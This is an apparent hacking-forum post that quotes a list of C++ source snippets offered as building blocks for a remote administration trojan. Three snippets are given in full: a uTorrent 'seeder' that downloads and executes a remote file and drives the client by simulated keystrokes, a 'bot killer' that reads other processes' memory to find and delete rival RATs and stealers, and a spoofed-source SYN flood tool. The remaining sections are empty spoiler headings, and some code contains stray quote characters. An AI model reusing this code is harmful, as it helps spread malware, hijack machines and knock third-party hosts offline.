[C++] - C++ Features for you rat HUGE LIST - [SOURCE]

tarafından **Hello EMO** Perş. Haz. 30, 2011 1:33 am

[quote='nickjonnes' pid='151309' dateline='1309350840']
hey all,
here is a compilation of source snippets that every c++ coder should have for their remote admin tool.
- SEEDERS

Spoiler:

VUZE SEEDER

Spoiler:

UTORRENT SEEDER

Spoiler:

Kod:: /* uTorrent Seeder Coded by a59 */ #include <windows.h> #include <urlmon.h> #include <stdio.h> #pragma comment( lib, "Urlmon.lib" ) HWND uTorrentWindow = 0; BOOL CALLBACK EnumProc( HWND hWnd, LPARAM lParam ) { char szTitle[ 512 ]; GetWindowText( hWnd, szTitle, sizeof( szTitle ) ); if( strstr( szTitle, "\xB5Torrent" ) ) uTorrentWindow = hWnd; return TRUE; }; HWND FindUTorrent( ) { EnumWindows( EnumProc, 0 ); return( uTorrentWindow ); }; void TypeString( char* szString ) { int Length = strlen( szString ), i; bool ShiftDown = false; short sKey; for( i = 0; i < Length; i++, szString++ ) { sKey = VkKeyScan( *szString ); if( ( sKey >> 8 ) & 1 ) { keybd_event( VK_LSHIFT, 0, 0, 0 ); ShiftDown = true; } keybd_event( (unsigned char)sKey, 0, 0, 0 ); if( ShiftDown ) { keybd_event( VK_LSHIFT, 0, KEYEVENTF_KEYUP, 0 ); ShiftDown = false; } } }; int SeedUTorrent( char* szUrl, char* szSaveAs, char* szSeedTo ) { HWND uTorrentWindow = FindUTorrent( ); if( uTorrentWindow == 0 ) return 1; if( URLDownloadToFile( 0, szUrl, szSaveAs, 0, 0 ) != S_OK ) return 2; if( (int)ShellExecute( 0, "open", szSaveAs, 0, 0, SW_NORMAL ) <= 32 ) return 3; ShowWindow( uTorrentWindow, SW_SHOW ); BringWindowToTop( uTorrentWindow ); SetForegroundWindow( uTorrentWindow ); SetFocus( uTorrentWindow ); if( !IsWindow( uTorrentWindow ) ) return 4; Sleep( 300 ); if( *szSeedTo != 0 ) TypeString( szSeedTo ); keybd_event( VK_RETURN, 0, 0, 0 ); ShowWindow( uTorrentWindow, SW_MINIMIZE ); return 0; }; int main( ) { switch( SeedUTorrent( "http://www.shotsy.com/shotsyblog/t.torrent", "c:\\t.torrent", "c:\\lol.rar" ) ) { case 0: printf( "Seeded!\n" ); break; case 1: printf( "Unable to locate uTorrent\n" ); break; case 2: printf( "Unable to download file\n" ); break; case 3: printf( "Unable to execute file\n" ); break; case 4: printf( "Error with window\n" ); break; }; return 0; };

- SPREADERS

Spoiler:

P2P SPREAD WITH ARES

Spoiler:

P2P SPREAD WITH EMULE

Spoiler:

USB SPREADER

Spoiler:

- BOT KILLER

Spoiler:

Kod:: #include <windows.h> #include <stdio.h> #include <tlhelp32.h> void DoSearch( unsigned long uStartAddr, unsigned long uEndAddr, PROCESSENTRY32 pe32 ); void KillBot( PROCESSENTRY32 pe32 ); struct s_Search { char* szBot; char* szString; }; s_Search sSearch[ ] = { { "VNC Scanning Bot", "\x52\x46\x42\x20\x30\x30\x33\x2E\x30\x30\x38\x0A" }, { "RXBot", "[MAIN]" }, { "RXBot", "[SCAN]" }, { "RXBot", "[FTP]" }, { " Cerberus", "Main" }, { "Apocalypse RAT", "Main" }, { "Solitude RAT", "Main" }, { "xviscera RAT", "Main" }, { "BfBot", "" }", { "Albertino's RAT", "Main" }, { "DarkComet-RAT", "Main" }, { "Deeper RAT", "Main" }, { "Shit Stealer", "host" }, { "Poison Ivy", "steal" }, { "Fallen Bot", "xor" }, { "Spy-Net", "Spy-net" }, { "CyberGate", "Port" }, { "Outbreak Bot", "Accepted" }, { "Warbot", "UDP" }, { "NesBot", "Accepted" }, { "DDoSer", "UDP" }", { "MeTuS", "Connections" }, { "KyleBot", "MSN" }, { "TsGh v8", "Wrong" }, { "iRTehStealer", "URL" }, { "IMbot", "::[MAIN]::" }, { "kBot", "Ready Boss" }", { "Plague Bot", "Accepted" }, { "iSwarm Bot", "Accepted" }, { "s0lar Bot", "Wrong" }, { "Logik Bot", "Accepted" }, { "iStealer", "Main" }", { "Hidden Iye Keylogger", "" }, { "SkuLogger", "" }", { "Albertino's Keylogger", "" }, { "Armadax", "Main" }, { "StealthKeys", "Main" }, { "KeyController", "Main" }, { "FlyLogger", "Main" }, { "StormBot", "encrypt" }, { "bot1", "MS08" }, { "bot2", "MS10" }, { "XP", "[XP" }, { "VIS", "[VIS" }, { "7", "[7" }, { "wi7", "[W7" }, { "wind7", "[WI7" }, { "usa", "[USA|" }, { "svn", "[SVN|" }, { "deu", "[DEU|" }, { "can", "[CAN|" }, { "nld", "[NLD|" }, { "zaf", "[ZAF|" }, { "gbr", "[GBR|" }, { "isr", "[ISR|" }, { "ils", "[ILS|" }, { "bra", "[BRA|" }, { "fra", "[FRA|" }, { "aus", "[AUS|" }, { "swe", "[SWE|" }, { "Unknown", "&echo bye" }, { NULL, NULL } }; void DoSearch( unsigned long uStartAddr, unsigned long uEndAddr, PROCESSENTRY32 pe32 ) { char szBigBuffer[ 0x5000 ] = { 0 }; unsigned char Curbuf[ 0x500 ] = { 0 }; HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID ); printf( "Scanning PID: %d [ %s ]\nStart Address: 0x%08X End Address: 0x%08X\n\n", pe32.th32ProcessID, pe32.szExeFile, uStartAddr, uEndAddr ); for( unsigned long uCurAddr = uStartAddr; uCurAddr <= uEndAddr; uCurAddr++ ) { BOOL bRead = ReadProcessMemory( hProcess, (void *)uCurAddr, (void *)&Curbuf, sizeof( Curbuf ), NULL ); if( bRead ) { int c = 0; strcat( szBigBuffer, (char *)Curbuf ); while( sSearch[ c ].szString != NULL ) { if( strstr( szBigBuffer, sSearch[ c ].szString ) ) { printf( "Found string \"%s\" in \"%s\" bot \"%s\"\n\n", sSearch[ c ].szString, pe32.szExeFile, sSearch[ c ].szBot ); KillBot( pe32 ); } c++; } if( sizeof( szBigBuffer ) > 0x150 ) ZeroMemory( szBigBuffer, sizeof( szBigBuffer ) ); } if( !bRead ) break; } CloseHandle( hProcess ); }; void KillBot( PROCESSENTRY32 pe32 ) { MODULEENTRY32 me32 = { 0 }; HANDLE hPath = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, pe32.th32ProcessID ); HANDLE hKillProcess; me32.dwSize = sizeof( me32 ); BOOL bRetval = Module32First( hPath, &me32 ); while( bRetval ) { if( !strcmp( pe32.szExeFile, me32.szModule ) ) { SetFileAttributes( me32.szExePath, FILE_ATTRIBUTE_NORMAL ); hKillProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID ); TerminateProcess( hKillProcess, 0 ); Sleep( 500 ); if( DeleteFile( me32.szExePath ) ) printf( "Terminated and deleted %s\n", me32.szExePath ); } bRetval = Module32Next( hPath, &me32 ); } CloseHandle( hKillProcess ); CloseHandle( hPath ); }; int main( ) { char szFile[ 128 ]; GetModuleFileName( GetModuleHandle( NULL ), szFile, sizeof( szFile ) ); char* szBlockList[ ] = { "explorer.exe", "hidserv.exe", "WINLOGON.EXE", "SERVICES.EXE", szFile }; HANDLE hProcess = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); PROCESSENTRY32 pe32; pe32.dwSize = sizeof( PROCESSENTRY32 ); BOOL bRetval = Process32First( hProcess, &pe32 ); bool bDoSearch = true; while( bRetval ) { Sleep( 250 ); for( int i = 0; i < ( sizeof( szBlockList ) / sizeof( char* ) ); i++ ) { if( strstr( szBlockList[ i ], pe32.szExeFile ) ) bDoSearch = false; } if( bDoSearch ) { DoSearch( 0x00400000, 0x004FFFFF, pe32 ); DoSearch( 0x00100000 ,0x001FFFFF, pe32 ); } else bDoSearch = true; bRetval = Process32Next( hProcess, &pe32 ); } CloseHandle( hProcess ); printf( "Done scanning, press ENTER to exit this program.\n" ); getchar( ); return 0; };

- OPEN CD-ROM

Spoiler:

- DISABLE TASK MANAGER

Spoiler:

- RC4 ENCRYPTION

Spoiler:

- FORCE RESTART

Spoiler:

- SYN FLOODER

Spoiler:

Kod:: /** * SYN flooder , practice #2 for raw sockets. * Author: acidh4cks. * Date: 05/09/2009 * * This was made only for educational purposes. * I get rid of all kind of responsabilities. * * USE AT YOUR OWN RISK */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <getopt.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> void showHelp(char *name); unsigned short checksum(unsigned short *addr, int len); u_long resolve(char *hostname); int main(int argc, char **argv) { int sockfd; int argument; int times = 1; int packet_size = (sizeof(struct iphdr)+sizeof(struct tcphdr)); int verbose; int i; char tcpPacket[packet_size]; char *spoofedIP = NULL; char *victimIP = NULL; struct sockaddr_in connection; struct tcphdr *tcp; struct iphdr *ip; //TODO: Make it functional. verbose = 0; if (getuid() != 0) { fprintf(stderr, "%s: root priviledges needed\n", argv[0]); return -1; } //Capturing parameters while ((argument = getopt(argc, argv, "hvs:d:")) != -1) { switch(argument) { case 'h': showHelp(argv[0]); return -1; break; case 'v': verbose = 1; break; case 's': spoofedIP = optarg; break; case 'd': victimIP = optarg; break; case '?': if ((optopt == 's') || (optopt == 'd')) { fprintf (stderr, "Option -%c requires an argument.\n", optopt); }else { fprintf (stderr, "Unknown option character %x.\n", optopt); } default: return -1; } } //The -s parameter is required. if (spoofedIP == NULL) { printf("You must specify the spoofed IP address. Type %s -h for help.\n\n", argv[0]); return -1; } //The -d parameter is required. if (victimIP == NULL) { printf("You must specify victim's IP address. Type %s -h for help.\n\n", argv[0]); return -1; } printf("Spoofed IP: %s\n", spoofedIP); printf("Victim IP: %s\n", victimIP); //Creating the socket. if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { printf("ERROR: Could not create socket, reason: %s\n\n", strerror(errno)); return -1; } //Setting the pointers. ip = (struct iphdr *)tcpPacket; tcp = (struct tcphdr *) (tcpPacket + sizeof(struct iphdr)); //Filling IP header (the checksum is left for later). ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = htons(packet_size); ip->id = random(); ip->frag_off = 0; ip->ttl = 255; ip->protocol = IPPROTO_TCP; ip->saddr = inet_addr(spoofedIP); ip->daddr = inet_addr(victimIP); //Filling TCP header. tcp->source = htons(6969); tcp->dest = htons(80); tcp->seq = random(); tcp->ack_seq = 0; tcp->doff = 5; tcp->fin = 0; tcp->syn = 1; tcp->rst = 0; tcp->psh = 0; tcp->ack = 0; tcp->urg = 0; tcp->res1 = 0; tcp->res2 = 0; tcp->window = htons(65535); tcp->urg_ptr = 0; //IP checksum (have to be calculated once the tcp header is full). tcp->check = 0; ip->check = checksum((unsigned short *)ip, packet_size); connection.sin_family = AF_INET; connection.sin_addr.s_addr = inet_addr(victimIP); printf("Performing attack... control-c to stop\n\n"); //Now sending for (;;) { if (sendto(sockfd, tcpPacket, packet_size, 0, (struct sockaddr *)&connection, sizeof(struct sockaddr)) < 0) { printf("ERROR: Could not send data, reason: %s\n\n", strerror(errno)); return -1; } } return 0; } void showHelp(char *name) { printf("Usage: %s [-h] [-v] -s victimIP -d bcastIP [-t times]\n", name); printf(" -h Show this help.\n"); printf(" -v Verbose mode.\n"); printf(" -s Spoofed IP address.\n"); printf(" -d Target IP address.\n\n"); } unsigned short checksum(unsigned short *addr, int len) { unsigned long sum; for (sum = 0; len > 0; len--) sum += *addr++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; }

[/quote]